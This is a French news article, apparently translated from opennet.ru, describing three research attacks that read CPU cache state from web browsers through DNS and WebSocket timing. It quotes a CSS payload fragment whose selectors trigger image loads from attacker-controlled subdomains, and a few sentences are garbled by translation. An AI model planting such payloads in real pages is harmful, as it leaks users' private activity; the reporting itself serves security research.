Une équipe de chercheurs de plusieurs universités américaines, israéliennes et australiennes a développé trois attaques exécutées sur les navigateurs Web pour extraire des informations sur le contenu du cache du processeur. Une méthode fonctionne dans les navigateurs sans JavaScript, et les deux autres contournent les méthodes de protection existantes contre les attaques par canal secondaire, notamment celles utilisées dans le navigateur Tor et DeterFox. Le code de démonstration des attaques, ainsi que les composants serveur nécessaires aux attaques, sont publiés sur GitHub.
Pour analyser le contenu du cache, toutes les attaques utilisent la méthode Prime+Probe, qui consiste à remplir le cache avec un ensemble standard de valeurs et à détecter les changements en mesurant le temps d'accès à celles-ci lors de leur remplissage. Pour contourner les mécanismes de sécurité présents dans les navigateurs qui interfèrent avec la mesure précise du temps, dans deux options, on fait appel à un serveur DNS ou WebSocket contrôlé par l'attaquant, qui tient un journal de l'heure des requêtes reçues. Dans un mode de réalisation, un temps de réponse DNS fixe est utilisé comme référence temporelle.
Les mesures effectuées à l'aide de serveurs DNS ou WebSocket externes, utilisant un système de classification basé sur l'apprentissage automatique, étaient suffisantes pour prédire les valeurs avec une précision allant jusqu'à 98 % dans le scénario le plus optimal (moyenne 80-90 %). Les méthodes d'attaque ont été testées sur diverses plateformes matérielles (Intel, AMD Ryzen, Apple M1, Samsung Exynos) et se sont révélées universelles.
La première variante de l'attaque DNS Racing utilise une implémentation classique de la méthode Prime+Probe utilisant des tableaux JavaScript. Les différences se résument à l'utilisation d'un minuteur DNS externe et d'un gestionnaire d'erreurs, qui se déclenche lorsqu'une tentative est effectuée pour charger une image à partir d'un domaine inexistant. Un minuteur externe permet une attaque Prime+Probe sur les navigateurs qui limitent ou désactivent complètement l'accès aux minuteurs JavaScript.
Pour un serveur DNS situé sur le même réseau Ethernet, la précision du timer est estimée à environ 2 ms, ce qui est suffisant pour mener une attaque par canal secondaire (à titre de comparaison, la précision du timer JavaScript standard dans le navigateur Tor est réduite à 100 ms). Pour une attaque, le contrôle du serveur DNS n'est pas requis, car le temps d'exécution de l'opération est choisi de manière à ce que le temps de réponse du DNS soit le signe d'une vérification plus précoce (selon que le gestionnaire d'erreurs a été déclenché ou non). plus tôt ou plus tard, une conclusion est tirée sur la rapidité de l'opération de vérification avec le cache) .
La seconde méthode d'attaque, « String and Sock », vise à contourner les mesures de sécurité limitant l'utilisation de bas niveau des tableaux en JavaScript. Au lieu d'utiliser des tableaux, « String and Sock » exploite des opérations sur de très longues chaînes de caractères, dont la taille est choisie de manière à couvrir l'intégralité du cache de dernier niveau (LLC). Ensuite, à l'aide de la fonction `indexOf()`, la chaîne est parcourue à la recherche d'une petite sous-chaîne initialement absente de la chaîne originale, ce qui signifie que l'opération de recherche parcourt la chaîne entière. La taille de la chaîne correspondant à celle du cache LLC, l'analyse permet une vérification du cache sans manipulation de tableaux. Pour mesurer la latence, le DNS est remplacé par un appel à un serveur WebSocket contrôlé par l'attaquant. Des requêtes sont envoyées avant et après le début et la fin de l'opération de recherche de chaîne, en fonction de laquelle… serveur Le délai utilisé pour analyser le contenu du cache est calculé.
La troisième variante de l'attaque « CSS PP0 » est implémentée via HTML et CSS et peut fonctionner dans les navigateurs dont JavaScript est désactivé. La méthode est similaire à « String and Sock », mais n'est pas liée à JavaScript. L'attaque génère un ensemble de sélecteurs CSS qui effectuent une recherche par masque. La longue chaîne initiale qui remplit le cache est définie par la création d'une balise div avec un nom de classe très long. À l'intérieur, un ensemble d'autres balises div, chacune avec son propre identifiant, est placé. Pour chacune de ces balises imbriquées, son propre style est défini par un sélecteur qui recherche une sous-chaîne. Lors du rendu de la page, le navigateur tente d'abord de traiter les balises div internes, ce qui entraîne une recherche dans la longue chaîne. La recherche est effectuée par un masque manifestement absent et conduit à l'itération sur toute la chaîne, après quoi la condition « non » est déclenchée et une tentative est faite pour charger une image de fond référençant aléatoirement domaines: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X …
Les sous-domaines sont desservis par le serveur DNS de l'attaquant, qui peut mesurer les délais de réception des requêtes. Le serveur DNS émet NXDOMAIN pour toutes les requêtes et tient un journal de l'heure exacte des requêtes. À la suite du traitement d'un ensemble de div, le serveur DNS de l'attaquant reçoit une série de requêtes, dont les délais sont en corrélation avec le résultat de la vérification du contenu du cache.
Source: opennet.ru
